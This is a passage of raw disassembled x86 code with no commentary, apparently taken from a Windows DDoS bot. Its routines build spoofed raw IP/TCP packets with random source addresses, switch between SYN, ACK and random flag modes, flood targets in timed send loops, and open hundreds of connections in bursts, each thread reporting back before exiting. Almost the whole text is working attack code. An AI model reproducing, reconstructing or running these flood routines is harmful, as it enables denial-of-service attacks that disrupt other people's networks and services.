ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_4E07C8 inc esi cmp esi, [ebp+var_40] jl short loc_412755 loc_41277B: ; CODE XREF: sub_412655+FEj push [ebp+arg_0] call dword_4E0954 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_44CC68 push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_4127C4 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_408EB9 add esp, 14h loc_4127C4: ; CODE XREF: sub_412655+14Dj lea eax, [ebp+var_344] push eax call sub_41458A push [ebp+var_30] call sub_40AB19 pop ecx pop ecx push ebx call dword_4F1388 ; ExitThread sub_412655 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127E1 proc near ; DATA XREF: sub_401CC1+4F1Do var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_41BC60 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call dword_4F1364 ; GetTickCount push eax call sub_41B840 pop ecx push 11h push 2 push 2 call dword_4E091C mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_4E08DC cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_4128C6 lea eax, [ebp+var_B0] push eax call dword_4E0920 cmp eax, edi jnz short loc_4128BF lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_44CC94 push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_4128A2 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_408EB9 add esp, 14h loc_4128A2: ; CODE XREF: sub_4127E1+9Fj lea eax, [ebp+var_334] push eax call sub_41458A push [ebp+var_20] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread loc_4128BF: ; CODE XREF: sub_4127E1+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_4128C9 ; --------------------------------------------------------------------------- loc_4128C6: ; CODE XREF: sub_4127E1+6Ej lea eax, [ebp+arg_0] loc_4128C9: ; CODE XREF: sub_4127E1+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_4128E4 call sub_41B850 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_4128E7 ; --------------------------------------------------------------------------- loc_4128E4: ; CODE XREF: sub_4127E1+F0j push [ebp+var_24] loc_4128E7: ; CODE XREF: sub_4127E1+101j call dword_4E08A0 cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_4128F9 mov [ebp+var_24], esi loc_4128F9: ; CODE XREF: sub_4127E1+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_412906 mov [ebp+var_24], eax loc_412906: ; CODE XREF: sub_4127E1+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_41291A mov [ebp+var_28], esi loc_41291A: ; CODE XREF: sub_4127E1+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_41293B loc_412921: ; CODE XREF: sub_4127E1+158j call sub_41B850 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_412921 loc_41293B: ; CODE XREF: sub_4127E1+13Ej ; sub_4127E1+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_41299A push 0Bh pop esi loc_412948: ; CODE XREF: sub_4127E1+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41B850 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_4E0900 push [ebp+var_28] call dword_4F1334 ; Sleep dec esi jnz short loc_412948 cmp [ebp+var_24], edi jnz short loc_41293B call sub_41B850 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_4E08A0 mov [ebp+var_E], ax jmp short loc_41293B ; --------------------------------------------------------------------------- loc_41299A: ; CODE XREF: sub_4127E1+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_44CCBC push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_4129DA push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_408EB9 add esp, 14h loc_4129DA: ; CODE XREF: sub_4127E1+1D7j lea eax, [ebp+var_334] push eax call sub_41458A push [ebp+var_20] call sub_40AB19 pop ecx pop ecx push edi call dword_4F1388 ; ExitThread sub_4127E1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129F7 proc near ; DATA XREF: sub_401CC1+45ADo var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_412B55 push eax lea eax, [ebp+var_414] push offset dword_44CCE8 push eax call sub_41B740 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_412A74 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_408EB9 add esp, 14h loc_412A74: ; CODE XREF: sub_4129F7+5Bj lea eax, [ebp+var_414] push eax call sub_41458A push [ebp+var_10] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread pop edi pop esi sub_4129F7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A93 proc near ; CODE XREF: sub_412B55+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B190 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4E08A0 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_412B51 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_412ADE: ; CODE XREF: sub_412A93+B9j lea esi, [ebp+var_654] mov ebx, edi loc_412AE6: ; CODE XREF: sub_412A93+7Aj push 0 push 1 push 2 call dword_4F150C ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_412B09 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call dword_4F14E4 ; ioctlsocket loc_412B09: ; CODE XREF: sub_412A93+64j add esi, 4 dec ebx jnz short loc_412AE6 lea esi, [ebp+var_654] mov ebx, edi loc_412B17: ; CODE XREF: sub_412A93+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call dword_4F1500 ; connect add esi, 4 dec ebx jnz short loc_412B17 push 64h call dword_4F1334 ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_412B3B: ; CODE XREF: sub_412A93+B4j push dword ptr [esi] call dword_4F1508 ; closesocket add esi, 4 dec ebx jnz short loc_412B3B dec [ebp+arg_4] jnz short loc_412ADE pop edi pop esi pop ebx loc_412B51: ; CODE XREF: sub_412A93+3Ej xor eax, eax leave retn sub_412A93 endp ; =============== S U B R O U T I N E ======================================= sub_412B55 proc near ; CODE XREF: sub_4129F7+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_409EFD push [esp+10h+arg_4] mov edi, eax call sub_41B3F0 push [esp+14h+arg_8] mov ebx, eax call sub_41B3F0 mov esi, eax push esi push ebx push edi call sub_412A93 add esp, 18h test eax, eax jnz short loc_412B8B push 1 pop eax loc_412B8B: ; CODE XREF: sub_412B55+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_412B55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B9A proc near ; DATA XREF: sub_401CC1+5C00o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_412EE8 push eax lea eax, [ebp+var_414] push offset unk_44CD14 push eax call sub_41B740 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_412C17 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_408EB9 add esp, 14h loc_412C17: ; CODE XREF: sub_412B9A+5Bj lea eax, [ebp+var_414] push eax call sub_41458A push [ebp+var_10] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread pop edi pop esi sub_412B9A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412C36 proc near ; CODE XREF: sub_412EE8+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4E081C test eax, eax jz short loc_412C76 xor eax, eax jmp loc_412EE4 ; --------------------------------------------------------------------------- loc_412C76: ; CODE XREF: sub_412C36+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4E0940 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_412EDC push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4E0880 cmp eax, 0FFFFFFFFh jz loc_412ED2 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B190 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4E08A0 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4E08A0 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4E08A0 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4E08A0 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call dword_4F12BC ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call dword_4F13EC ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DE60 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_412D61: ; CODE XREF: sub_412C36+25Dj ; sub_412C36+26Bj mov [ebp+var_24], bx call sub_41B850 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4E08A0 mov [ebp+var_34], ax call sub_41B850 mov edi, eax shl edi, 10h call sub_41B850 or edi, eax push edi call dword_4E08A0 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4E089C push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4E08A0 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C8D0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call near ptr sub_41C8D0 lea eax, [ebp+var_B4] push 34h push eax call sub_40A072 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C8D0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41C8D0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B190 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40A072 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C8D0 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4E0900 cmp eax, 0FFFFFFFFh jz short loc_412EA6 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call dword_4F13EC ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_412ECF jl loc_412D61 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_412ECF jmp loc_412D61 ; --------------------------------------------------------------------------- loc_412EA6: ; CODE XREF: sub_412C36+247j call dword_4E083C push eax lea eax, [ebp+var_F4] push offset unk_44CD3C push eax call sub_41B740 lea eax, [ebp+var_F4] push eax call sub_41458A add esp, 10h jmp short loc_412ED2 ; --------------------------------------------------------------------------- loc_412ECF: ; CODE XREF: sub_412C36+25Bj ; sub_412C36+269j mov ebx, [ebp+arg_8] loc_412ED2: ; CODE XREF: sub_412C36+78j ; sub_412C36+297j push [ebp+var_C] call dword_4E0934 pop esi loc_412EDC: ; CODE XREF: sub_412C36+5Bj call dword_4E0804 mov eax, ebx loc_412EE4: ; CODE XREF: sub_412C36+3Bj pop edi pop ebx leave retn sub_412C36 endp ; =============== S U B R O U T I N E ======================================= sub_412EE8 proc near ; CODE XREF: sub_412B9A+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_409EFD push [esp+10h+arg_4] mov esi, eax call sub_41B3F0 push [esp+14h+arg_8] mov ebx, eax call sub_41B3F0 mov edi, eax call sub_41B850 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_412C36 add esp, 1Ch test eax, eax jnz short loc_412F33 push 1 pop eax loc_412F33: ; CODE XREF: sub_412EE8+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_412EE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F42 proc near ; DATA XREF: sub_401CC1+64A3o var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] loc_412F4E: ; DATA XREF: .nsp0:off_451074o ; .nsp0:off_451078o push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41B3F0 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4E08DC push eax call sub_412FE3 push eax lea eax, [ebp+var_394] push offset dword_44CD5C push eax call sub_41B740 xor esi, esi add esp, 14h cmp [ebp+var_8], esi jnz short loc_412FC4 push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_408EB9 add esp, 14h loc_412FC4: ; CODE XREF: sub_412F42+60j lea eax, [ebp+var_394] push eax call sub_41458A push [ebp+var_10] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread pop edi pop esi sub_412F42 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FE3 proc near ; CODE XREF: sub_412F42+41p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi push 1 pop ecx and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi mov ebx, 0FFh push 6 xor eax, eax pop edx lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd mov edi, 100h push edi call sub_41D910 pop ecx mov [ebp+var_4], eax push edi push eax call dword_4E08B4 push [ebp+var_4] call dword_4E0920 mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call dword_4E091C lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call dword_4E0880 mov esi, 200h push esi call sub_418ED0 mov edi, dword_4F1364 pop ecx mov [ebp+var_8], eax call edi ; GetTickCount mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call dword_4E08A0 mov [ebp+var_96], ax loc_4130FE: ; CODE XREF: sub_412FE3+1FCj call edi ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja loc_4131E4 call sub_41B850 cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call sub_41B850 cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call sub_41B850 cdq mov ecx, 1FA4h mov [ebp+var_24], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call sub_41B850 mov [ebp+var_20], ax call sub_41B850 push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call dword_4E08A0 push esi mov [ebp+var_1E], ax call dword_4E08A0 mov [ebp+var_22], ax mov [ebp+var_1C], bl call sub_41B850 push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+var_24] push eax call sub_40A072 mov [ebp+var_1A], ax lea eax, [ebp+var_24] push 14h push eax push [ebp+var_8] call near ptr sub_41C8D0 add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+var_8] push [ebp+var_4] call dword_4E0900 jmp loc_4130FE ; --------------------------------------------------------------------------- loc_4131E4: ; CODE XREF: sub_412FE3+12Cj push [ebp+var_8] call sub_419940 pop ecx push [ebp+var_4] call dword_4E0934 push 1 pop eax pop edi pop esi pop ebx leave retn sub_412FE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131FE proc near ; DATA XREF: sub_401CC1+4BA1o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_4F1364 call edi ; GetTickCount push eax call sub_41B840 pop ecx push 0FFh push 3 push 2 call dword_4E091C cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4132C7 call dword_4E083C push eax lea eax, [ebp+var_440] push offset unk_44CD7C push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_4132A7 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_408EB9 add esp, 14h loc_4132A7: ; CODE XREF: sub_4131FE+84j lea eax, [ebp+var_440] push eax call sub_41458A push [ebp+var_BC] call sub_40AB19 pop ecx pop ecx push ebx call dword_4F1388 ; ExitThread loc_4132C7: ; CODE XREF: sub_4131FE+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_4E0880 cmp eax, 0FFFFFFFFh jnz short loc_413345 call dword_4E083C push eax lea eax, [ebp+var_440] push offset unk_44CDB0 push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_413325 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_408EB9 add esp, 14h loc_413325: ; CODE XREF: sub_4131FE+102j lea eax, [ebp+var_440] push eax call sub_41458A push [ebp+var_BC] call sub_40AB19 pop ecx pop ecx push ebx call dword_4F1388 ; ExitThread loc_413345: ; CODE XREF: sub_4131FE+DFj lea eax, [ebp+var_23C] push eax call dword_4E08DC cmp eax, 0FFFFFFFFh jnz short loc_4133B5 lea eax, [ebp+var_440] push offset unk_44CDE8 push eax call sub_41B740 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_413395 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_408EB9 add esp, 14h loc_413395: ; CODE XREF: sub_4131FE+172j lea eax, [ebp+var_440] push eax call sub_41458A push [ebp+var_BC] call sub_40AB19 pop ecx pop ecx push ebx call dword_4F1388 ; ExitThread loc_4133B5: ; CODE XREF: sub_4131FE+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_41B190 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_4E08A0 mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_4E08DC mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_4133ED: ; CODE XREF: sub_4131FE+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_4136B1 push 28h mov [ebp+var_2C], 45h call dword_4E08A0 cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_413460 call sub_41B850 mov esi, eax shl esi, 8 call sub_41B850 add esi, eax shl esi, 8 call sub_41B850 add esi, eax shl esi, 8 call sub_41B850 add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_413476 ; --------------------------------------------------------------------------- loc_413460: ; CODE XREF: sub_4131FE+233j push [ebp+var_240] call sub_40A019 pop ecx push eax call dword_4E08DC mov [ebp+var_20], eax loc_413476: ; CODE XREF: sub_4131FE+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_413494 call sub_41B850 cdq mov ecx, 401h idiv ecx push edx jmp short loc_41349A ; --------------------------------------------------------------------------- loc_413494: ; CODE XREF: sub_4131FE+284j push [ebp+var_B8] loc_41349A: ; CODE XREF: sub_4131FE+294j call dword_4E08A0 mov [ebp+var_16], ax call sub_41B850 cdq mov ecx, 401h idiv ecx push edx call dword_4E08A0 push 12345678h mov [ebp+var_18], ax call dword_4E089C mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn_0 ; "syn" push eax call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_4134EA mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_413546 ; --------------------------------------------------------------------------- loc_4134EA: ; CODE XREF: sub_4131FE+2E1j lea eax, [ebp+var_1BC] push offset aAck_0 ; "ack" push eax call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_41350A mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_413546 ; --------------------------------------------------------------------------- loc_41350A: ; CODE XREF: sub_4131FE+301j lea eax, [ebp+var_1BC] push offset aRandom_2 ; "random" push eax call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_413546 call sub_41B850 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41B850 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_413546: ; CODE XREF: sub_4131FE+2EAj ; sub_4131FE+30Aj ... push 200h mov [ebp+var_C], 50h call dword_4E08A0 mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 